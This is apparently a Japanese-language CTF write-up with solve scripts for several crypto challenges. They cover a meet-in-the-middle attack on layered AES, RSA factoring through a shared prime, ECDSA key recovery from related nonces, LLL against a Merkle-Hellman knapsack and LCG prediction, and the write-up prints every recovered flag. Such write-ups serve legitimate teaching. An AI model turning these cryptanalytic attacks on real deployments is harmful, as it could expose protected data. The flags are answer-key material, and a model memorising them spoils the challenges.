g = 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('34.123.4.102', 4000))

data = recvuntil(s, b'\n').rstrip()
print(data)
public_key = int(data.split(' ')[-1])

data = recvuntil(s, b': ')
print(data + str(g))
s.sendall(str(g).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
encrypted_msg = unhexlify(eval(data.split(' ')[-2]))[:16]
encrypted_flag = unhexlify(eval(data.split(' ')[-1]))[:32]

aes_key_alice = md5(unhexlify(hex(public_key)[2:])).digest()
cipher2 = AES.new(aes_key_alice, mode=AES.MODE_CBC, iv=b'B' * 16)
encrypted_msg = cipher2.decrypt(encrypted_msg)

cts = {}
for c in product(range(256), repeat=3):
    k0 = bytes([c[0]]) + bytes([c[1]]) + bytes([c[2]])
    key0 = md5(k0).digest()
    cipher0 = AES.new(key0, mode=AES.MODE_ECB)
    ct = cipher0.encrypt(msg)
    cts[ct] = key0

for c in product(range(256), repeat=3):
    k1 = bytes([c[0]]) + bytes([c[1]]) + bytes([c[2]])
    key1 = md5(k1).digest()
    cipher1 = AES.new(key1, mode=AES.MODE_CBC, iv=b'A' * 16)
    pt = cipher1.decrypt(encrypted_msg)
    if pt in cts:
        key0 = cts[pt]
        break

print('[+] keys[0]:', key0)
print('[+] keys[1]:', key1)
print('[+] keys[2]:', aes_key_alice)

cipher0 = AES.new(key0, mode=AES.MODE_ECB)
cipher1 = AES.new(key1, mode=AES.MODE_CBC, iv=b'A' * 16)
cipher2 = AES.new(aes_key_alice, mode=AES.MODE_CBC, iv=b'B' * 16)
flag1 = cipher2.decrypt(encrypted_flag)
flag1 = cipher1.decrypt(flag1)
flag1 = cipher0.decrypt(flag1).decode()
print('[+] flag1:', flag1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('34.123.4.102', 8000))

data = recvuntil(s, b'\n').rstrip()
print(data)
public_key = int(data.split(' ')[-1])

aes_key_bob = md5(unhexlify(hex(public_key)[2:])).digest()
cipher_alice = AES.new(aes_key_alice, mode=AES.MODE_CBC, iv=b'B' * 16)
cipher_bob = AES.new(aes_key_bob, mode=AES.MODE_CBC, iv=b'B' * 16)
code = cipher_alice.decrypt(encrypted_flag)
code = cipher_bob.encrypt(code).hex()

data = recvuntil(s, b': ')
print(data + str(g))
s.sendall(str(g).encode() + b'\n')
data = recvuntil(s, b': ')
print(data + code)
s.sendall(code.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
encrypted_flag2 = unhexlify(eval(data.split(' ')[-1]))

cipher0 = AES.new(key0, mode=AES.MODE_ECB)
cipher1 = AES.new(key1, mode=AES.MODE_CBC, iv=b'A' * 16)
cipher2 = AES.new(aes_key_bob, mode=AES.MODE_CBC, iv=b'B' * 16)
flag2 = cipher2.decrypt(encrypted_flag2)
flag2 = cipher1.decrypt(flag2)
flag2 = cipher0.decrypt(flag2)
flag2 = flag2[:flag2.index(b'}') + 1].decode()
print('[+] flag2:', flag2)

flag = flag1 + flag2
print('[*] flag:', flag)

実行結果は以下の通り。

> Here is my public key: 119411071723122444381767470125626227123727573250251216315907714124627930184475306091652961747380924296747933021923661790680670240155231816516457033069067832914869305822175715488571133446537348467810750635631617119618614773943953032009463487011337635599632404459399646451549811120239365019103442516813610951801
> Your public key: 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977
> Your output: b'0923dc6a3433a89a73b6381230bc88b16fe6b5425fc1ba76e607492f2442677e' b'eafe54520e64f7b5913c76c471d215711e2760073a68339fe548876a406243efd009e25fc366078d8bc295a1251d103c'
[+] keys[0]: b'\xe6\xc0\xde\xc1\xe4{\x16J\xe1\x98\x10\xcb\xe3*\x15\xa8'
[+] keys[1]: b'\xf4F\xe5\xb5\xa8H\xa2\xd0\xb1g\xc2&B\xea\xd4\x9b'
[+] keys[2]: b'\xaf\xb3\x03\xa3j\x96\x1e\x88(f)M0\tgO'
[+] flag1: accessdenied{m4n_1n_th3_m1ddl3_4
> Here is my public key: 40595252360241388289026322523804296719193626569779778799622242724916591034484779950923843218836200063079971977052451558576275835257579001823217941624228065248765313874759534608569366171847652834851759226823394299165109937870382024277651319709551109061342308442284963681389013259877806922522157082814880149336
> Your public key: 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977
> Give me the code(encrypted hex): ea1f10c77d31d60bc9ebdc544df19daf98aa59d4f77dea6e1a9fc2e1ec17ec62
> Your output: b'5d6ec4cb930c9d46181c0b77421d5f05ca82d6b823a5278d17eed70bb8ef445d2613eaf67c6c32e240ef4837f5852aee' b'5f64ba84dfb873557b84ab19ff1ef1ffcc34805f9f580db5ed5e7f9c7787e2e3ca3dae232e595f8cdbf2d0a4c342fa10'
[+] flag2: nd_m33t_1n_th3_m1ddl3!_931a52e4}
[*] flag: accessdenied{m4n_1n_th3_m1ddl3_4nd_m33t_1n_th3_m1ddl3!_931a52e4}
accessdenied{m4n_1n_th3_m1ddl3_4nd_m33t_1n_th3_m1ddl3!_931a52e4}

RSA-3 (Crypto)

N1とN2の公約数を求めれば、素因数分解でき、復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *

N1 = 18266349196400324728796632198426724065863341515460128017379722167088811564142208540762217975696666190887534687486334974478770458134458646785682182438231047535912495200486295399237083743354006572775979196273345894016812147421648391560534928953791045301656072851030393661346227010573392017192092871743599780733618974144278058844414678104713310777338685821340236864598500469843212331330335171804328016140678014295178395686821469446312308097781506852568269309368807576215036130913554259546509277614896420588483929704110258122427731934119749960465772609969329231395097168664992720797902433454838999670183197496533599372453
e1 = 65537
ct1 = 6873813036805706192019236826822502457972771100457517090756917047060847774848540323350759250580238758998913544271128101335276213320240302206398066922772200444602226203653559017733029810367927075606003863202964202725297461799495530697341270915140044964898303984854574497628349362668695378519684693264593494716972185326436905495762497116849607924837994943127697112124217181161062684698865533001086211217060178202980704668203486578672364578669469712587269077695001297138207491663356223994825422557742042083843727850238507161657755737436196961552942941154267260840237025593539923533367161391402240798650010287812581011106

N2 = 24659767524526013018768938973883991511377669248630968999008468264428208747461052247749924232027616129566843290411914770222062361142014390330463814302544910044772535448949923181736285951382305617780092296934319600643083108399436503551987425616568398265868184384255524744326852580109993750455923648308457300741311644056806840080239266629430170801800674692923486070263947659308964150022391540089059138911526148899685247042835949241530880572488161927637699425020944697998483747469309576045917038431425710502056969197916002745593176785614139365197372746789456581367558816039809574657471032143676431357391125588624599050493
e2 = 65537
ct2 = 11715772208083492702167997175167454009301340692399196360593824415816062365292031273728996255749695189978948242292097965040268601546052250584302206331424224398934005270192769085862845465718216946900897219973683677713043297722976307588263004621450861659350169718646844558379707749844428304916965303036455448719228506667752535085465025614399994834368259311922477097878143154258042140694172977284700008301528490157090476538427961683829505682126281348126157784828204887638985638647829395157101409725453166939388563809584382420835218557337222313577592617066209235421605768519128885685600282422644017925260843832358253267634

p = GCD(N1, N2)
q1 = N1 // p
q2 = N2 // p
phi1 = (p - 1) * (q1 - 1)
phi2 = (p - 1) * (q2 - 1)
d1 = inverse(e1, phi1)
d2 = inverse(e2, phi2)
m1 = pow(ct1, d1, N1)
m2 = pow(ct2, d2, N2)
flag1 = long_to_bytes(m1).decode()
flag2 = long_to_bytes(m2).decode()
flag = flag1 + flag2
print(flag)
accessdenied{r3us31ng_5tuff_1s_n0t_f0r_crypt0gr4phy_69c36434}

ECC (Crypto)

3個のシグネチャの関係を式にする。

msg1 = b"crypto means cryptography"
msg2 = b"may the curve be with you"
msg3 = b"the annoying fruit equation"
m1: msg1のsha256ハッシュ値を数値化
m2: msg2のsha256ハッシュ値を数値化
m3: msg3のsha256ハッシュ値を数値化

s1 = pow(k, -1, n) * (m1 + r1 * d) % n
s2 = pow(k + 1, -1, n) * (m2 + r2 * d) % n
s3 = pow(k + 2, -1, n) * (m3 + r3 * d) % n
        ↓
k * s1 % n = (m1 + r1 * d) % n
(k+1) * s2 % n = (m2 + r2 * d) % n
(k+2) * s3 % n = (m3 + r3 * d) % n
        ↓
k * (k + 2) * s1 * s3 % n = (m1 + r1 * d) * (m3 + r3 * d) % n
(k + 1) ** 2 * s2 ** 2 % n = (m2 + r2 * d)**2 % n
        ↓
k * (k + 2) * s1 * s2**2 * s3 % n = (m1 + r1 * d) * (m3 + r3 * d) * s2**2 % n
(k + 1) ** 2 * s1 * s2**2 * s3 % n = (m2 + r2 * d)**2 * s1 * s3 % n
        ↓
s1 * s2**2 * s3 % n = ((m2 + r2 * d)**2 * s1 * s3 - (m1 + r1 * d) * (m3 + r3 * d) * s2**2) % n

剰余環nの上で、dの2次方程式になる。sageで解き、フラグの形式に合うものを探す。

#!/usr/bin/sage
import tinyec.registry as reg
from hashlib import sha256
from Crypto.Util.number import *

def hashInt(msg):
    h = sha256(msg).digest()
    return int.from_bytes(h, 'big')

msg1 = b'crypto means cryptography'
msg2 = b'may the curve be with you'
msg3 = b'the annoying fruit equation'

m1 = hashInt(msg1)
m2 = hashInt(msg2)
m3 = hashInt(msg3)

with open('out.txt', 'r') as f:
    params = f.read().splitlines()

sig1 = eval(params[0].split(' = ')[1])
sig2 = eval(params[1].split(' = ')[1])
sig3 = eval(params[2].split(' = ')[1])
r1, s1 = sig1
r2, s2 = sig2
r3, s3 = sig3

C = reg.get_curve("secp256r1")
n = C.field.n

PR.<d> = PolynomialRing(Zmod(n))
f = (m2 + r2 * d)^2 * s1 * s3 - (m1 + r1 * d) * (m3 + r3 * d) * s2^2 - s1 * s2^2 * s3
f = f.monic()
coeff = f.coefficients(d)
a = coeff[-1]
b = coeff[-2]
c = coeff[-3]

discriminant = b^2 - 4 * a * c
discriminant_root = Mod(discriminant, n).sqrt()
ds = []
for i in [-discriminant_root, discriminant_root]:
    d = (((- b + i) % n) * inverse(2, n)) % n
    flag = long_to_bytes(int(d))
    if flag.startswith(b'accessdenied{'):
        print(flag.decode())
        break
accessdenied{ECDSA_w34k_RNG}

Merkle is a good man (Crypto)

Merkle-Hellmanナップサック暗号になっていると思われるので、LLLを使って復号する。

#!/usr/bin/sage
from Crypto.Util.number import long_to_bytes

def is_valid_vector(b):
    if b[0] != 0:
        return False
    for i, x in enumerate(b):
        if i != 0 and abs(x) != 1:
            return False

    return True

with open('enc.txt', 'r') as f:
    ct = int(f.read())

with open('public_key.txt', 'r') as f:
    pubkey = eval(f.read())

matrix_size = len(pubkey) + 1
m_list = [
    [0 for _ in range(matrix_size)] for _ in range(matrix_size)
]

for i in range(matrix_size - 1):
    m_list[i][0] = pubkey[i]
    m_list[i][i + 1] = 2
    m_list[matrix_size - 1][i + 1] = -1

m_list[matrix_size - 1][0] = -ct

llled = Matrix(ZZ, m_list).LLL()

flag_vecs = []
for basis in llled:
    if is_valid_vector(basis):
        flag_vecs.append(basis)

for v in flag_vecs:
    bin_flag = ""
    for _bit in reversed(v[1:]):
        c = ('1' if _bit == 1 else '0')
        bin_flag = c + bin_flag

    flag = long_to_bytes(int(bin_flag, 2)).decode()
    print(flag)
accessdenied{m3rkl3_h3llm4n_crypt0_1s_w34k_095403ff}

Guess The Number (Crypto)

$ nc 35.202.65.196 5337
sh: 1: figlet: not found
Here are all the number you want
195012074203
14191883467
28388869810
237439166524
132603465142
44662723604
232913238347
41041846467
241264749390
151643570371
Guess the 19909 number

乱数アルゴリズムはLCGと推測して、確認する。以下のパラメータで計算は合う。

a = 351047
b = 61417183
m = 322125293417

このことを前提に目的の数字を算出する。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *
from functools import reduce

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def calc_nth_num(a, b, m, ini, nth):
    num = ini
    for i in range(nth):
        num = (a * num + b) % m
    return num

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('35.202.65.196', 5337))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

nums = []
for _ in range(10):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    nums.append(int(data))

delta = [d1 - d0 for (d0, d1) in zip(nums, nums[1:])]
m_mul = [d0 * d2 - d1 * d1 for (d0, d1, d2) in zip(delta, delta[1:], delta[2:])]
m = reduce(GCD, m_mul)
a = (delta[1] * inverse(delta[0], m)) % m
b = (nums[1] - a * nums[0]) % m

for i in range(9):
    assert (a * nums[i] + b) % m == nums[i+1]

data = recvuntil(s, b'\n').rstrip()
print(data)
nth = int(data.split(' ')[2])

num = calc_nth_num(a, b, m, nums[0], nth - 1)
print(num)
s.sendall(str(num).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

sh: 1: figlet: not found
Here are all the number you want
197109931075
82132477189
213268602064
230815372719
292152778630
139247158082
106013892704
79654425427
38923933150
219325762927
Guess the 9609 number
14883967319
accessdenied{I_th0ug7_1t_15_3nt1r3ly_r4nd0m_70fe2cfd}
accessdenied{I_th0ug7_1t_15_3nt1r3ly_r4nd0m_70fe2cfd}

Feedback (Misc)

アンケートに答えたら、フラグが表示された。

accessdenied{th4nk_y0u_f0r_y0ur_v4lu3bl3_f33db4ck_27cf5db9}